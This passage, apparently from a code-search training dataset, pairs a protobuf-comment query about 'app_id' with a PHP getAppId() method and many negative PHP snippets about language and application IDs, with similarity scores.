= $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "protected function generateLocalLang() {}", "function httpbl_lang()\n {\n foreach(explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']) as $language)\n { if ($language=='fr') { return 'fr'; } }\n return 'en';\n }", "function GetDefaultLang() : string\n{\n return 'ar';\n}", "private function lang($string='')\n {\n return $this->language->get($string);\n }", "public function language(){\n\t\tdefined('MGK_LANGUAGE')\n\t\t || define('MGK_LANGUAGE', $this->lang );\n\n\t\t$language = MGK_LANGUAGE;\t\n\t\t$file_lang = MGK_APPLICATION_DIRECTORY.'/_language/'.$language.'.json';\n\t\t$this->mgkLang = new Amaguk_lang( $language );\t\t\t\n\t\t$this->mgkLang->read_lang($file_lang);\t\t\t\n\t}", "public function getLanguage() : ?string ;", "public function getLanguage() {\n return $this->getValueOrDefault('Language');\n }", "public function getLanguageId()\n {\n return $this->language_id;\n }", "public function GetLanguage()\n {\n return $this->language;\n }", "protected function getLanguage() {\r\n\t\treturn $this->language;\r\n\t}", "public function getLanguage()\n {\n return $this->_language;\n }", "public function getLanguage()\r\n {\r\n $language = $this->getTransaction()->languageName;\r\n if(empty($language))\r\n {\r\n $language = leaf_get('properties', 'language_code');\r\n }\r\n\t\treturn $language;\r\n\t}", "public function getLanguage()\n\t{\n\t\t$language = isset($this->session->data['language']) ? $this->session->data['language'] : $this->config->get('config_language');\n\n\t\t$language_code = substr($language, 0, 2);\n\n\t\t$this->bootstrap();\n\n\t\t$is_available = @constant('\\Genesis\\API\\Constants\\i18n::' . strtoupper($language_code));\n\n\t\tif ($is_available) {\n\t\t\treturn strtolower($language_code);\n\t\t} else {\n\t\t\treturn 'en';\n\t\t}\n\t}", "public function setLanguage($value)\n {\n return $this->setParameter('language', $value);\n }", "public function getHttpLanguage()\n {\n if (isset($this->_server['HTTP_ACCEPT_LANGUAGE'])) {\n if (preg_match('/([a-z]{2}-[a-zA-Z]{2})/', $this->_server['HTTP_ACCEPT_LANGUAGE'], $matches)) {\n list($language, $locale) = explode('-', $matches[1]);\n $languageCode = $language .'-'. strtoupper($locale);\n return $languageCode;\n }\n }\n return 'nl-Nl';\n }", "function language_name($language)\n{\n\tif (!isset($language)) {\n\t\treturn null;\n\t} \n\t\n\tstatic $name = array();\n if (!count($name)) {\n $name = languagelist();\n } \n return $name[$language];\n}", "public function getLanguage(): Language\n {\n return new Language(API::ffi()->ts_parser_language($this->data));\n }", "public function getLanguageId()\n {\n return $this->getValue('nb_language_id');\n }", "public function getLanguage()\r\n {\r\n if ($this->getChatHelper()->getLanguage() == 'auto') {\r\n return null;\r\n }\r\n \r\n if ($this->getChatHelper()->getLanguage() == 'md') {\r\n return \"\\$zopim.livechat.setLanguage('\" . substr(Mage::app()->getLocale()->getLocale(),0,2).\"');\" . \"\\n\";\r\n }\r\n return \"\\$zopim.livechat.setLanguage('\" . $this->getChatHelper()->getLanguage() . \"');\" . \"\\n\";\r\n }", "public function getSpeechLanguage()\n {\n \treturn Tools::getSpeechLanguage($this->language_flag)['short'];\n }", "public function naturalName(string $language): string;", "public function getLanguageIdentifier();", "public function lang($lang = null);", "public function getLanguage() {\n return $this->_language;\n }", "public function getLanguage()\n {\n return $this->hasOne(Language::className(), ['iso_code'=>'lang']);\n }", "public function getLanguage()\n {\n return substr($this->server['HTTP_ACCEPT_LANGUAGE'], 0, 2);\n }", "public function get_language() {\n if (defined('WPLANG')) {\n $language = WPLANG;\n }\n\n if (empty($language)) {\n $language = get_option('WPLANG');\n }\n\n if (!empty($language)) {\n $languageParts = explode('_', $language);\n return $languageParts[0];\n }\n\n return 'en';\n }", "static private function CreateLanguageMessage() {\n\t\tif (!IllaUser::loggedIn()) {\n\t\t\t$german_browser = (ereg('de', $_SERVER['HTTP_ACCEPT_LANGUAGE']) ? true : false);\n\t\t}else {\n\t\t\t$german_browser = IllaUser::german();\n\t\t}\n\t\tif (($german_browser && self::isEnglish()) || (!$german_browser && self::isGerman())) {\n\t\t\t$short_filename = substr_replace(basename($_SERVER['PHP_SELF']), '', 0, 2);\n\t\t\t$path = str_replace($short_filename, '', $_SERVER['PHP_SELF']);\n\t\t\t$path = substr_replace($path, '', - 2, 2);\n\n\t\t\tif (count($_GET) > 0) {\n\t\t\t\t$getparams = array();\n\t\t\t\tforeach ($_GET as $key => $value) {\n\t\t\t\t\t$getparams[] = htmlentities($key) . '=' . htmlentities($value);\n\t\t\t\t}\n\t\t\t\t$getparams = '?' . implode('&amp;', $getparams);\n\t\t\t}else {\n\t\t\t\t$getparams = '';\n\t\t\t}\n\n\t\t\tif (self::isEnglish() && file_exists('de' . $short_filename)) {\n\t\t\t\tMessages::add('<a href=\"' . $path . 'de' . $short_filename . $getparams . '\" hreflang=\"de\">Deine bevorzugte Sprache scheint Deutsch zu sein. Klick hier um zur deutschen Fassung dieser Seite zu wechseln.</a>', 'note');\n\t\t\t\tMessages::add('<a href=\"' . $path . 'de' . $short_filename . $getparams . '\" hreflang=\"de\">Your favoured language seems to be German. Click here to view the German version of this page.</a>', 'note');\n\t\t\t} elseif (self::isGerman() && file_exists('us' . $short_filename)) {\n\t\t\t\tMessages::add('<a href=\"' . $path . 'us' . $short_filename . $getparams . '\" hreflang=\"us\">Deine bevorzugte Sprache scheint Englisch zu sein. Klick hier um zur englischen Fassung dieser Seite zu wechseln.</a>', 'note');\n\t\t\t\tMessages::add('<a href=\"' . $path . 'us' . $short_filename . $getparams . '\" hreflang=\"us\">Your favoured language seems to be English. Click here to view the English version of this page.</a>', 'note');\n\t\t\t}\n\t\t}\n\t}", "public function setLanguage($code)\n {\n $this->lang = $code;\n }", "public function getLang()\n {\n return $this->lang;\n }", "public function getLang()\n {\n return $this->lang;\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function getLang() {\n\t\treturn substr(Mage::app()->getLocale()->getLocaleCode(), 0, 2);\n\t}", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }" ]
[ "0.73247045", "0.7031155", "0.69398534", "0.69398534", "0.65689653", "0.65227956", "0.6492628", "0.6441813", "0.6419333", "0.6419333", "0.64191", "0.6408763", "0.6377374", "0.6377374", "0.6377374", "0.6377374", "0.6377374", "0.6377374", "0.6369966", "0.6310889", "0.6309094", "0.6259747", "0.62596774", "0.6231994", "0.62134427", "0.62113893", "0.62053865", "0.61679405", "0.6162278", "0.61580855", "0.6142959", "0.61419195", "0.61390877", "0.612452", "0.6117393", "0.6104095", "0.6096614", "0.6092929", "0.6080198", "0.6058295", "0.60534465", "0.6040618", "0.6040618", "0.60262173", "0.6025036", "0.60178876", "0.60071814", "0.60071814", "0.60071814", "0.60071814", "0.60071814", "0.60071814", "0.60071814", "0.60071814", "0.60071814", "0.60071814", "0.5976949", "0.596791", "0.59623504", "0.5960106", "0.5952142", "0.5944791", "0.59397596", "0.59212", "0.5918521", "0.591349", "0.59072", "0.5900273", "0.58918196", "0.58710605", "0.5867739", "0.58661234", "0.58617735", "0.5861421", "0.585137", "0.58513075", "0.58494437", "0.5840698", "0.58311194", "0.58290726", "0.58225626", "0.58091897", "0.58091193", "0.58079654", "0.58043647", "0.5801157", "0.5792416", "0.5789927", "0.5789927", "0.57782406", "0.57782406", "0.57782406", "0.57756954", "0.57756126", "0.57756126", "0.57756126", "0.57756126", "0.57739186", "0.57739186" ]
0.6049179
42
Generated from protobuf field string app_id = 6;
public function getAppId() { return $this->app_id; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function GET_APP_ID(){\n return \"7d0df388-f064-48eb-9092-27fbbf0a438e\";\n}", "public function getAppId() {\n return $this->app_id;\n }", "public function getID(): string {\n\t\treturn $this->appName;\n\t}", "public function getOGApplicationID();", "protected function getApplicationIdAttribute(): string\n {\n if (! isset($this->attributes['application_id'])) {\n return $this->discord->application->id;\n }\n\n return $this->attributes['application_id'];\n }", "function setAppId($value)\n {\n $this->_props['AppId'] = $value;\n }", "function getAppId()\n {\n return $this->_props['AppId'];\n }", "public function getAppId() : int\n {\n return $this->appId;\n }", "public function setApplicationID($app_id) \n\t{\n\t\t$this->application_id = $app_id;\n\t}", "public function getApplicationID() \n\t{\n\t\treturn $this->application_id;\n\t}", "public function getAppId(): int;", "public function getApplicationID()\n\t{\n\t\treturn $this->application_id;\n\t}", "public function getApplicationId(){\n\t\treturn $this->applicationId;\n\t}", "public function setAppId($value);", "public function setAppId(int $id): SocketApp;", "public function getAppUserId()\n {\n return $this->app_user_id;\n }", "public function getAppId(): string;", "public function getUserAppId()\n {\n return $this->user_app_id;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function getAppId(){\n return $this->appId;\n }", "public function getApplicationId()\r\n\t{\r\n\t\t$headers = $this->getAllHeaders();\r\n\r\n\t\tif (!preg_match(\"#AppId=(.+)#s\", $headers[\"Authorization\"], $match))\r\n\t\t\treturn false;\r\n\r\n\t\treturn end($match);\r\n\t}", "public function getAppId()\n {\n return $this->appId;\n }", "public function getAppId()\n {\n return $this->appId;\n }", "public function get_application_id() {\n\t\tif ( ! $this->is_application_id_in_config() ) {\n\n\t\t\treturn (string) get_option( 'algolia_application_id', '' );\n\t\t}\n\n\t\t$this->assert_constant_is_non_empty_string( ALGOLIA_APPLICATION_ID, 'ALGOLIA_APPLICATION_ID' );\n\n\t\treturn ALGOLIA_APPLICATION_ID;\n\t}", "public function getAppId();", "public function getUseAppID() \n \t{\n \t\treturn $this->use_appid;\n \t}", "public function getAppUid ()\n {\n return $this->app_uid;\n }", "public function getMoipAppId() {\n return $this->getChaveValor('MOIP_APP_ID');\n }", "public function getAppId()\n {\n if (array_key_exists(\"appId\", $this->_propDict)) {\n return $this->_propDict[\"appId\"];\n } else {\n return null;\n }\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n\n return $this;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n\n return $this;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n\n return $this;\n }", "protected function _getAppId()\n {\n if (!isset($this->_config['appId'])) {\n throw new RuntimeException('Parameter \"appId\" not exists in config.');\n }\n\n return $this->_config['appId'];\n }", "public function getAppId()\n {\n }", "public function setAppID($id)\n {\n $this->parameters['appid'] = $id;\n }", "private function getApplicationIdColumn()\n\t{\n\t\treturn 'application_id';\n\t}", "private function set_idapp($idapp = '') {\r\n if (empty($idapp)) {\r\n $this->add_log('set_idapp: IdApp KO, parameter is empty', 'ERROR');\r\n return false;\r\n }\r\n\r\n $this->add_log('set_idapp: IdApp OK, setted to \"'.$idapp.'\"');\r\n\r\n $this->idApp = $idapp;\r\n return true;\r\n }", "public function getAppIdAttribute()\n {\n if(!$this->application_id) {\n return ''; \n }\n \n try {\n $decrypted = Crypt::decryptString($this->application_id);\n } catch (DecryptException $e) {\n return $e;\n }\n\n if(Auth::user()->role == 'admin') {\n return $decrypted;\n }\n\n $arr = explode('~', $decrypted);\n $hidden = str_repeat(\"*\", strlen($arr[0]) + 1);\n\n return $hidden . $arr[1];\n }", "public function display_app_id() {\n\t\t// Now grab the options based on what we're looking for\n\t\t$opts = get_option( 'emcl_settings' );\n\t\t$emc_client_id = isset( $opts['emc_client_id'] ) ? $opts['emc_client_id'] : '';\n\t\t// And display the view\n\t\tinclude_once $this->views . 'settings-app-client-id-field.php';\n\t}", "public function setAppId($val)\n {\n $this->_propDict[\"appId\"] = $val;\n return $this;\n }", "protected function getAppId($app_name)\n {\n // check if app list loaded\n if (!is_array($this->apps)) {\n // load apps from db\n $this->apps = array();\n $apps = $this->db->fetchAll('SELECT * FROM apps');\n foreach ($apps as $app) {\n $this->apps[$app['name']] = (int) $app['id'];\n }\n }\n\n // if app doesn't exist save to db\n if (!isset($this->apps[$app_name])) {\n $this->db->insert('apps', array('name' => $app_name));\n $this->apps[$app_name] = $this->db->lastInsertId();\n }\n\n return $this->apps[$app_name];\n }", "public function getAppKey()\n\t{\n\t\treturn $this->_appKey;\n\t}", "protected function getApplicationId()\n\t{\n\t\t$application_id = $this->request->input('session.application.applicationId', null);\n\n\t\tif (is_null($application_id) || $application_id === '') {\n\t\t\tthrow new AlexaVerificationException('Request verification failed: application ID not present in request.');\n\t\t}\n\n\t\treturn $application_id;\n\t}", "function mobile_app_name()\n{\n $appClientId = request()->header('app-client-id');\n if (!empty($appClientId)) {\n return $appClientId;\n }\n\n $params = request()->all();\n if (isset($params['app_client_id']) && !empty($params['app_client_id'])) {\n return $params['app_client_id'];\n }\n return '';\n}", "public function generateKey(Application $app)\n {\n $bytes = random_bytes(16);\n $api_key = bin2hex($bytes);\n $this->addExampleRecords($app, $api_key);\n return ['key' => $api_key];\n }", "public function getAppKey()\n {\n return $this->_appKey;\n }", "public function getSettingID($companyId, $app) {\n\t\t$sql = $this->select();\n\t\t$sql = $sql->setIntegrityCheck(false);\n\t\t$sql = $sql->from('application_settings_2');\n\t\t$sql = $sql->where(\"company_id = '{$companyId}'\");\n\t\t$row = $this->_db->fetchRow($sql);\n\t\t$setting_id = '';\n\t\t$setting_ids = json_decode($row['settings_ids'])->applications;\n\t\t\n\t\tforeach($setting_ids as $key => $opt) {\n\t\t\tif($key == $app) {\n\t\t\t\t$setting_id = $opt;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $setting_id;\n\t}", "function verify_app_id($app_id) // Colorize: green\n { // Colorize: green\n return isset($app_id) // Colorize: green\n && // Colorize: green\n is_int($app_id) // Colorize: green\n && // Colorize: green\n $app_id > 0; // Colorize: green\n }", "public function facebookAppId()\r\n\t{\r\n\t\treturn Mage::getStoreConfig('ezfacebook/facebook/appid');\r\n\t}", "public function setApp($app): string\n {\n $appCodesArray = parse_ini_file($this->directory.'/appCodes.ini', true);\n if (in_array($app, $appCodesArray['appcodes']) == false) {\n throw new Exception('App code does not exist');\n }\n\n return $this->app = array_search($app, $appCodesArray['appcodes']);\n }", "public function getAppScopeId()\n {\n if (array_key_exists(\"appScopeId\", $this->_propDict)) {\n return $this->_propDict[\"appScopeId\"];\n } else {\n return null;\n }\n }", "public function setAppUserId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_user_id = $var;\n\n return $this;\n }", "function getApplicationId(bool $requestSandboxAppId = TRUE) {\n if ($requestSandboxAppId) {\n return _SQ_SANDBOX_APP_ID;\n } else {\n return _SQ_APP_ID;\n }\n}", "public function appId(?string $value): self\n {\n $this->instance->setAppId($value);\n return $this;\n }", "public function getProfileCloudAppId() \n\t{\n\t\treturn 'profile_cloud_app';\n\t}", "public function getApplicationCohortApplicationId() {\n\t\treturn($this->applicationCohortApplicationId);\n\t}", "function generate_application_no()\n {\n $token = 'O-AA00001';\n $last = \\DB::table('applications')->orderBy('id','DESC')->lock()->first();\n\n //todo: optimize this function\n if ($last) {\n $token = ++$last->application_no;\n }\n return $token;\n }", "public function getFirebaseAppId()\n {\n return $this->firebase_app_id;\n }", "public function setApplicationId(?string $value): void {\n $this->getBackingStore()->set('applicationId', $value);\n }", "function fetchApplicationId()\n{\n if (isset($_GET['application_id'])) {\n $application_id = $_GET['application_id'];\n unset($_GET['application_id']);\n }\n return $application_id;\n}", "public function getCurrentAppId() {\n return $this->container->offsetGet('appId');\n }", "public function setAppId(int $appId) : self\n {\n $this->initialized['appId'] = true;\n $this->appId = $appId;\n return $this;\n }", "public function getAppId(): ?string\n {\n }", "private function setApplicationDefinitionId($appId) {\n\t\t\\Scrivo\\ArgumentCheck::assertArgs(func_get_args(), array(\n\t\t\tarray(\\Scrivo\\ArgumentCheck::TYPE_INTEGER)\n\t\t));\n\n\t\tif ($this->applicationDefinitionId) {\n\t\t\tthrow new \\Scrivo\\SystemException(\n\t\t\t\t\"Can't reset the the application id\");\n\t\t}\n\t\treturn $this->applicationDefinitionId = $appId;\n\t}", "protected function genRefNo($appId)\n {\n return env('REF_PREFIX').(strlen($appId)<3? str_pad($appId, 4-(strlen($appId) ), \"0\", STR_PAD_LEFT): $appId);\n }", "public function get_app_key() {\n\n\t\t// Get plugin settings.\n\t\t$settings = $this->get_plugin_settings();\n\n\t\treturn rgar( $settings, 'customAppKey' ) ? rgar( $settings, 'customAppKey' ) : null;\n\n\t}", "public function getGoogleAppointmentId()\n {\n return $this->googleAppointmentId;\n }", "public function __construct($appId)\n {\n $this->appId = $appId;\n }", "public function loadSingleApplication($appId) {\r\n \r\n $application = \"\";\r\n \r\n $queryresult = $this->db->query(\"SELECT app.ID, app.STATUS, app.TYPE, COUNT(*) SUBJECT_COUNT,\r\n\t\t\t\t\t\t\t\t\t\t\tGROUP_CONCAT(subj.DESCRIPTION SEPARATOR ', ') SUBJECTS_TO_CHANGE,\r\n GROUP_CONCAT(subj_change.DESCRIPTION SEPARATOR ', ') TO_SUBJECT, app.REASON,\r\n DATE_FORMAT(app.DATE_REQUEST, '%d %b %Y') DATE_REQUEST\r\n FROM t_sr_subject app\r\n INNER JOIN t_sr_subject_line app_line\r\n ON app.ID = app_line.SR\r\n INNER JOIN r_subject subj\r\n ON subj.ID = app_line.SUBJECT_CODE\r\n INNER JOIN r_subject subj_change\r\n ON subj_change.ID = app_line.SUBJECT_CODE_CHANGE\r\n WHERE app.ID = ?\r\n ORDER BY DATE_REQUEST DESC\", \r\n array($appId));\r\n \r\n if ( $queryresult->num_rows() > 0 ) { \r\n \r\n\t\t\tforeach ( $queryresult->result() as $row ) {\r\n \r\n $application = array(\r\n 'id' => $row->ID,\r\n 'status' => $row->STATUS,\r\n 'type' => $row->TYPE,\r\n 'subjectCount' => $row->SUBJECT_COUNT,\r\n 'subjects' => $row->SUBJECTS_TO_CHANGE,\r\n 'approvalLevel' => $this->getCurrentLevel($row->ID),\r\n 'numberOfApprovers' => $this->getNumberOfApprovers($campusId, $programType),\r\n 'reason' => $row->REASON,\r\n 'dateRequested' => $row->DATE_REQUEST,\r\n );\r\n }\r\n }\r\n \r\n\t\treturn $application;\r\n }", "public function getApplicationRef()\n {\n return $this->licence->getLicNo() . ' / ' . $this->id;\n }", "public function getId(): string\n {\n $message = (string) $this->getRawMessage();\n return substr(md5($message), 0, 10);\n }", "public function load($id) {\n\t\t\t$query = $this->system->mysql->query(\"SELECT * FROM applications WHERE appId=$id LIMIT 1\");\n\t\t\t\n\t\t\t$row = $query->fetch_assoc();\n\t\t\t\n\t\t\t$this->id = $row['appId'];\n\t\t\t$this->name = $row['name'];\n\t\t\t$this->ftpBackup = $row['ftpBackup'];\n\t\t\t\n\t\t\t$this->ftp = array(\n\t\t\t\t'server' => $row['ftpServer'],\n\t\t\t\t'user' => $row['ftpUser'],\n\t\t\t\t'password' => $row['ftpPassword'],\n\t\t\t\t'defaultDirectory' => $row['ftpDir'],\n\t\t\t\t'method' => $row['ftpMethod']\n\t\t\t);\n\t\t\t\n\t\t\t$this->dbBackup = $row['dbBackup'];\n\t\t\t\n\t\t\t$this->db = array(\n\t\t\t\t'server' => $row['dbServer'],\n\t\t\t\t'user' => $row['dbUser'],\n\t\t\t\t'password' => $row['dbPassword'],\n\t\t\t\t'database' => $row['dbDatabase'],\n\t\t\t\t'method' => $row['dbMethod'],\n\t\t\t);\n\t\t\t\n\t\t\t$this->dateLimit = $row['dateLimit'];\n\t\t\t\n\t\t\t$this->dates = array(\n\t\t\t\t'from' => $row['backupFrom'],\n\t\t\t\t'to' => $row['backupTo']\n\t\t\t);\n\t\t\t\n\t\t\t$this->frequency = $row['frequency'];\n\t\t\t\n\t\t\t$this->weekday = $row['weekday'];\n\t\t\t\n\t\t\t$this->backupTime = $row['time'];\n\t\t}", "public function getSenderAppId()\n {\n\n return $this->senderAppID;\n\n }", "public function getUserIdentifier(): string\n {\n return ($this->token ?? ($this->appkey ?? ''));\n }", "function isAppIdValid($Appid){\n\n\t// The var below represent the Appids this would come from a db \n\t$APPIDs = array(0=>\"n:LK`sFE0rLD7WWsAUUj*d6E4>*o=J\", 1=>\"v[ZB9i6!t7(jb+4ucRs80cAq/RLjZ`\");\n\n\t// var is init with false value, after loop and both ID matches found becomes true \n\t$found = false;\n\n\t// Looping over the App IDs \n\tforeach ($APPIDs as $key) {\n\t\t# code...\n\t\t//echo json_encode(array(\"keys\"=>$key));\n\t\tif($key==$Appid)\n\t\t{\n\t\t\t$found = true;\n\t\t\tbreak;\n\t\t}\n\t\t\n\t}\n\treturn $found;\n}", "public function getApplicationId(): ?string {\n $val = $this->getBackingStore()->get('applicationId');\n if (is_null($val) || is_string($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'applicationId'\");\n }", "public function getOwnerAppIdentity();", "public function getAppKey(): string;", "public static function getGooglePlayClientId()\n {\n\t// It's temporary solution. Will be changed soon.\n $clientID = Yii::app()->db->createCommand()\n ->select('id')\n ->from('companies')\n ->where('LOWER(company_name) LIKE \"%google play qc%\"')\n ->queryScalar();\n \n if (empty($clientID))\n return '';\n \n return $clientID; \n }", "public function getAndroidId();", "public function getApplication( $id )\n\t{\t\n\t}", "public function setApp($app)\n {\n $this->app = $app;\n }", "public function getApp()\n {\n return $this['app.name'];\n }", "public function getAppointmentId()\n {\n return $this->appointmentId;\n }", "function facebook_app_token()\r\n{\r\n\tglobal $settings;\r\n\r\n\treturn $settings['facebook_app_id'] . '|' . $settings['facebook_app_secret'];\r\n}", "public function create($app) {\n //Connection with the database\n try {\n $conn = DBConnect::getInstance();\n }\n catch (PDOException $e) {\n echo \"Error connecting database: \" . $e->getMessage() . \" \";\n error_log(\"Error in create in ApplicationADO: \" . $e->getMessage() . \" \");\n die();\n }\n\n $cons=\"insert into \".ApplicationADO::$tableName.\" (`idUser`,`position`,`startDate`,`web`,`salary`,`relocate`,`reasons`) values (?, ?, ?, ?, ?, ?, ?)\" ;\n $arrayValues= [$app->getIdUser(),$app->getPosition(), $app->getStartDate(), $app->getWeb(), $app->getSalary(), ((int) $app->getRelocate()), ((int) $app->getReasons())];\n\n $id = $conn->executionInsert($cons, $arrayValues);\n\n $app->setId($id);\n\n return $app->getId();\n }", "public function testAppId()\n {\n $appId = 'id';\n $client = new Client();\n $driver = new OpenExchangeRatesDriver(\n $client,\n 'http://openexchangerates.org/api/latest.json'\n );\n $driver->setAppId($appId);\n $this->assertEquals($appId, $driver->getAppId());\n }", "public function setUseAppID($use_appid) \n \t{\n \t\t$this->use_appid = $use_appid;\n \t}", "public static function getAppVersion($app) {\n\t\treturn \\OC::$server->getAppManager()->getAppVersion($app);\n\t}", "public function setAppKey(string $key): SocketApp;", "public function __construct($device_id, $appId)\n {\n $this->device_id = $device_id;\n $this->appId = $appId;\n }" ]
[ "0.6888273", "0.6821632", "0.67451316", "0.67272955", "0.6714343", "0.661704", "0.660079", "0.6591065", "0.65253997", "0.6504563", "0.64896774", "0.6487722", "0.6471144", "0.64584213", "0.64489675", "0.64374053", "0.64273554", "0.6423777", "0.6422799", "0.6422799", "0.6422799", "0.6422799", "0.63831824", "0.63743734", "0.6369522", "0.6369522", "0.6366864", "0.63654697", "0.62384826", "0.62187093", "0.61715835", "0.6141194", "0.61320335", "0.61320335", "0.61320335", "0.61029774", "0.60803777", "0.605358", "0.60421443", "0.6035541", "0.6024533", "0.5977642", "0.59505135", "0.5887156", "0.58455694", "0.5806901", "0.5770774", "0.5770254", "0.5708763", "0.56844366", "0.5673103", "0.5660023", "0.5631204", "0.56063825", "0.56047726", "0.55948865", "0.559202", "0.5570114", "0.5550159", "0.5548917", "0.5514582", "0.54816055", "0.54744774", "0.5455252", "0.54373205", "0.54046136", "0.5388845", "0.5354506", "0.53504467", "0.53288233", "0.53277427", "0.53132904", "0.5307627", "0.5297712", "0.5296288", "0.52927667", "0.5278953", "0.5267592", "0.52648795", "0.5256672", "0.5243673", "0.5242453", "0.5238763", "0.52376944", "0.5230586", "0.52287865", "0.52134377", "0.5209808", "0.5199194", "0.5188368", "0.51845014", "0.5180392", "0.5177842", "0.51575553" ]
0.69075525
4
Generated from protobuf field string app_id = 6;
public function setAppId($var) { GPBUtil::checkString($var, True); $this->app_id = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "function GET_APP_ID(){\n return \"7d0df388-f064-48eb-9092-27fbbf0a438e\";\n}", "public function getAppId() {\n return $this->app_id;\n }", "public function getID(): string {\n\t\treturn $this->appName;\n\t}", "public function getOGApplicationID();", "protected function getApplicationIdAttribute(): string\n {\n if (! isset($this->attributes['application_id'])) {\n return $this->discord->application->id;\n }\n\n return $this->attributes['application_id'];\n }", "function setAppId($value)\n {\n $this->_props['AppId'] = $value;\n }", "function getAppId()\n {\n return $this->_props['AppId'];\n }", "public function getAppId() : int\n {\n return $this->appId;\n }", "public function setApplicationID($app_id) \n\t{\n\t\t$this->application_id = $app_id;\n\t}", "public function getApplicationID() \n\t{\n\t\treturn $this->application_id;\n\t}", "public function getAppId(): int;", "public function getApplicationID()\n\t{\n\t\treturn $this->application_id;\n\t}", "public function getApplicationId(){\n\t\treturn $this->applicationId;\n\t}", "public function setAppId($value);", "public function setAppId(int $id): SocketApp;", "public function getAppUserId()\n {\n return $this->app_user_id;\n }", "public function getAppId(): string;", "public function getUserAppId()\n {\n return $this->user_app_id;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function setAppId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_id = $var;\n }", "public function getAppId(){\n return $this->appId;\n }", "public function getApplicationId()\r\n\t{\r\n\t\t$headers = $this->getAllHeaders();\r\n\r\n\t\tif (!preg_match(\"#AppId=(.+)#s\", $headers[\"Authorization\"], $match))\r\n\t\t\treturn false;\r\n\r\n\t\treturn end($match);\r\n\t}", "public function getAppId()\n {\n return $this->appId;\n }", "public function getAppId()\n {\n return $this->appId;\n }", "public function get_application_id() {\n\t\tif ( ! $this->is_application_id_in_config() ) {\n\n\t\t\treturn (string) get_option( 'algolia_application_id', '' );\n\t\t}\n\n\t\t$this->assert_constant_is_non_empty_string( ALGOLIA_APPLICATION_ID, 'ALGOLIA_APPLICATION_ID' );\n\n\t\treturn ALGOLIA_APPLICATION_ID;\n\t}", "public function getAppId();", "public function getUseAppID() \n \t{\n \t\treturn $this->use_appid;\n \t}", "public function getAppUid ()\n {\n return $this->app_uid;\n }", "public function getMoipAppId() {\n return $this->getChaveValor('MOIP_APP_ID');\n }", "public function getAppId()\n {\n if (array_key_exists(\"appId\", $this->_propDict)) {\n return $this->_propDict[\"appId\"];\n } else {\n return null;\n }\n }", "protected function _getAppId()\n {\n if (!isset($this->_config['appId'])) {\n throw new RuntimeException('Parameter \"appId\" not exists in config.');\n }\n\n return $this->_config['appId'];\n }", "public function getAppId()\n {\n }", "public function setAppID($id)\n {\n $this->parameters['appid'] = $id;\n }", "private function getApplicationIdColumn()\n\t{\n\t\treturn 'application_id';\n\t}", "private function set_idapp($idapp = '') {\r\n if (empty($idapp)) {\r\n $this->add_log('set_idapp: IdApp KO, parameter is empty', 'ERROR');\r\n return false;\r\n }\r\n\r\n $this->add_log('set_idapp: IdApp OK, setted to \"'.$idapp.'\"');\r\n\r\n $this->idApp = $idapp;\r\n return true;\r\n }", "public function getAppIdAttribute()\n {\n if(!$this->application_id) {\n return ''; \n }\n \n try {\n $decrypted = Crypt::decryptString($this->application_id);\n } catch (DecryptException $e) {\n return $e;\n }\n\n if(Auth::user()->role == 'admin') {\n return $decrypted;\n }\n\n $arr = explode('~', $decrypted);\n $hidden = str_repeat(\"*\", strlen($arr[0]) + 1);\n\n return $hidden . $arr[1];\n }", "public function display_app_id() {\n\t\t// Now grab the options based on what we're looking for\n\t\t$opts = get_option( 'emcl_settings' );\n\t\t$emc_client_id = isset( $opts['emc_client_id'] ) ? $opts['emc_client_id'] : '';\n\t\t// And display the view\n\t\tinclude_once $this->views . 'settings-app-client-id-field.php';\n\t}", "public function setAppId($val)\n {\n $this->_propDict[\"appId\"] = $val;\n return $this;\n }", "protected function getAppId($app_name)\n {\n // check if app list loaded\n if (!is_array($this->apps)) {\n // load apps from db\n $this->apps = array();\n $apps = $this->db->fetchAll('SELECT * FROM apps');\n foreach ($apps as $app) {\n $this->apps[$app['name']] = (int) $app['id'];\n }\n }\n\n // if app doesn't exist save to db\n if (!isset($this->apps[$app_name])) {\n $this->db->insert('apps', array('name' => $app_name));\n $this->apps[$app_name] = $this->db->lastInsertId();\n }\n\n return $this->apps[$app_name];\n 